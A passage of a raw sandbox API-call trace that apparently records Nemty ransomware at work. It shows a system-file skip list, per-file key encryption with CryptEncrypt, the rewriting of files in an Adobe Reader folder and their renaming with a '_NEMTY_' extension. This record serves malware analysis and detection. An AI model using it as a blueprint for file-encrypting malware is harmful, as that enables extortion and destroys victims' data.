[0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="...") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="windows") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="$RECYCLE.BIN") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="rsa") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="NTDETECT.COM") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="ntldr") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="MSDOS.SYS") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="IO.SYS") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="boot.ini") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="boot.ini") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="ntuser.dat") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="desktop.ini") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="CONFIG.SYS") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="RECYCLER") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="BOOTSECT.BAK") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="bootmgr") returned 1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="programdata") returned -1 [0171.043] lstrcmpiW (lpString1="nppdf32.SLV", lpString2="appdata") returned 1 [0171.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0171.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0171.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0171.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0171.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.044] Sleep (dwMilliseconds=0x5) [0171.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199a0990, dwHighDateTime=0x1d561e8)) [0171.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199a0990, dwHighDateTime=0x1d561e8)) [0171.052] GetLastError () returned 0x0 [0171.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.052] GetLastError () returned 0x0 [0171.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.052] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.052] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.053] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.053] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="l3rEbxaKei9V6u51fNh/ejGCDQmcj/t/WY/ipNHtS1Gr+sl00/g/QdsqWtyJrV3F\r\n5yUnJuL4mrFXEgm+Vg1y66egycna76ZvScUOBmd0HD758VnMZy11MZtnZ6Nv3XQ+\r\nP3iblA3AyZbYWxFmoMQtCGNlolDDfpMNGnKS5P6F2+9sCYfB7r/UmPRFnzQSPWkW\r\nBF2uxyK3SEndN53A3nZeaUVNc7CMFoxuw+Rs6jCN7Uup6FdP2G8KHZmAGDj0j8PO\r\nJLuip69Vnm9FFuGG7Dm0My3M5fOS/DE0YNqVEFOtswxv0Gx/rsmKh26+tZ9DiSb8\r\nBSAW6eb0yCUhsE9S9tac1A==\r\n", pcchString=0x653e91c) returned 1 [0171.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.053] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.053] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.053] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.055] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.055] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.055] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.055] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.056] CloseHandle (hObject=0x254) returned 1 [0171.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.056] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv._nemty_kgobjgd_")) returned 1 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.057] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="..") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="...") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="windows") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="$RECYCLE.BIN") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="rsa") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="NTDETECT.COM") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="ntldr") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="MSDOS.SYS") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="IO.SYS") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="boot.ini") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="boot.ini") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="ntuser.dat") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="desktop.ini") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="CONFIG.SYS") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="RECYCLER") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="BOOTSECT.BAK") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="bootmgr") returned 1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="programdata") returned -1 [0171.057] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="appdata") returned 1 [0171.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0171.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0171.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0171.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0171.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.058] Sleep (dwMilliseconds=0x5) [0171.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199c6af0, dwHighDateTime=0x1d561e8)) [0171.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199c6af0, dwHighDateTime=0x1d561e8)) [0171.067] GetLastError () returned 0x0 [0171.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.067] GetLastError () returned 0x0 [0171.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.068] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.068] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.068] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.068] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="9pnSxrGoc6S2OFROU+j4/9HF5QLtTPAMePoN9G+rfzLyTPpR5M/bK7K8GdcDXtkp\r\nwnIaWiQ0KPyN5PQFlQB32hrgkpTFFQdlpkaJngULqIxTLzWVubKzaAs4Iq6iKvqr\r\nmYOHvNr8Bk81VkXs9WGra/M6LeezVvMcKLNQvKl3xo+cJ6n5gKG3Qmz2wQJEbuIP\r\npvZy40pqi0gXbCz5Btm9gERCMuc9lULrlj63j4ysostiNbD/Q6NtCgemaMof0QZl\r\n56QYipBaPbSaz+Uvq+NuPNpkZI2wxSpAvc3lYkGmGJHXNRiBtAKgyT77f316uLKq\r\nTrCXOJnmSP65XAGJ53GtDg==\r\n", pcchString=0x653e91c) returned 1 [0171.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.069] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.069] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.069] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.071] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.071] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.071] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.071] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.071] CloseHandle (hObject=0x254) returned 1 [0171.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.071] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo._nemty_kgobjgd_")) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 